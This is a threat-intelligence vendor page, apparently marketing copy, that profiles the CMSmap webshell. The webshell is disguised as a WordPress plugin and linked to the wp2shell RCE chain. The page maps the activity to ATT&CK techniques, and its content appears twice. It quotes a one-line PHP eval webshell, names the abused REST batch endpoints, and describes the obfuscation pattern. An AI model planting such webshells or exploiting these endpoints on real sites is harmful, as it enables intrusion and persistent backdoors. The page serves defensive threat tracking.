MalwareExploits 2 CVEs

CMSmap

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

EXPLOITED CVES

Vulnerabilities exploited

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

2 CVES

CVE-2026-60137SQL Injection in WordPress WP_Query author__not_inExploited in the wild

What are CVE-2026-63030 & CVE-2026-60137? These vulnerabilities comprise a critical pre-authentication remote code execution (RCE) chain in WordPress Core, dubbed "wp2shell"... Which products are affected? CVE-2026-63030 & CVE-2026-60137 (Full RCE Exploit Chain): CVE-2026-60137 (SQLi) | The second was a massive 150KB webshell disguised as a WordPress plugin called "CMSmap".

via wiz blogwiz.io

CVE-2026-63030WordPress REST API Batch Route Confusion in wp2shellExploited in the wild

What are CVE-2026-63030 & CVE-2026-60137? These vulnerabilities comprise a critical pre-authentication remote code execution (RCE) chain in WordPress Core, dubbed "wp2shell"... This exploit chain allows unauthenticated attackers to gain remote code execution on default WordPress installations. | The second was a massive 150KB webshell disguised as a WordPress plugin called "CMSmap".

via wiz blogwiz.io

MITRE ATT&CK

Techniques & procedures

5 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique

T1190Exploit Public-Facing ApplicationEvidence2

The vulnerability abuses the WordPress REST API batch processing endpoints ( /?rest_route=/batch/v1 or /wp-json/batch/v1 ) to achieve unauthenticated code execution.

Execution

2 techniques

T1059.006PythonEvidence2

<?php eval($_POST['[REDACTED]']??'http_response_code(404);');

T1203Exploitation for Client ExecutionEvidence1

These vulnerabilities comprise a critical pre-authentication remote code execution (RCE) chain in WordPress Core, dubbed "wp2shell"... This exploit chain allows unauthenticated attackers to gain remote code execution on default WordPress installations

Persistence

1 technique

T1505.003Web ShellEvidence2

Following successful batch API exploitation, we’ve observed the following post-exploitation activities: Malicious plugin upload... to install persistent backdoors.

Stealth

1 technique

T1027Obfuscated Files or InformationEvidence1

The payload is obfuscated through hex-encoded string concatenation and gzip-compressed base64 encoding, unpacked at runtime via eval(gzuncompress(base64_decode(...)))

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

the hacker newsNews

Jul 21, 2026

WordPress wp2shell Exploitation Grows as Public Exploit Fuels Mass Scanning

A web shell disguised as a legitimate WordPress security plugin, used post-exploitation as a full-featured attack platform for file management, database access, port scanning, code injection, and privilege escalation.

wiz blogNews

Jul 20, 2026

Exploitation in the Wild of wp2shell | Wiz Blog

A malicious PHP webshell masquerading as a WordPress plugin, providing a graphical interface, password authentication, file management, database access, port scanning, batch code injection, and privilege escalation capabilities.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities2

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping5

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

MalwareExploits 2 CVEs

CMSmap

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

EXPLOITED CVES

Vulnerabilities exploited

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

2 CVES

CVE-2026-60137SQL Injection in WordPress WP_Query author__not_inExploited in the wild

via wiz blogwiz.io

CVE-2026-63030WordPress REST API Batch Route Confusion in wp2shellExploited in the wild

What are CVE-2026-63030 & CVE-2026-60137? These vulnerabilities comprise a critical pre-authentication remote code execution (RCE) chain in WordPress Core, dubbed "wp2shell"... This exploit chain allows unauthenticated attackers to gain remote code execution on default WordPress installations. | The second was a massive 150KB webshell disguised as a WordPress plugin called "CMSmap".

via wiz blogwiz.io

MITRE ATT&CK

Techniques & procedures

5 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique

T1190Exploit Public-Facing ApplicationEvidence2

The vulnerability abuses the WordPress REST API batch processing endpoints ( /?rest_route=/batch/v1 or /wp-json/batch/v1 ) to achieve unauthenticated code execution.

Execution

2 techniques

T1059.006PythonEvidence2

<?php eval($_POST['[REDACTED]']??'http_response_code(404);');

T1203Exploitation for Client ExecutionEvidence1

Persistence

1 technique

T1505.003Web ShellEvidence2

Following successful batch API exploitation, we’ve observed the following post-exploitation activities: Malicious plugin upload... to install persistent backdoors.

Stealth

1 technique

T1027Obfuscated Files or InformationEvidence1

The payload is obfuscated through hex-encoded string concatenation and gzip-compressed base64 encoding, unpacked at runtime via eval(gzuncompress(base64_decode(...)))

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

the hacker newsNews

Jul 21, 2026

WordPress wp2shell Exploitation Grows as Public Exploit Fuels Mass Scanning

wiz blogNews

Jul 20, 2026

Exploitation in the Wild of wp2shell | Wiz Blog

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities2

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping5

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.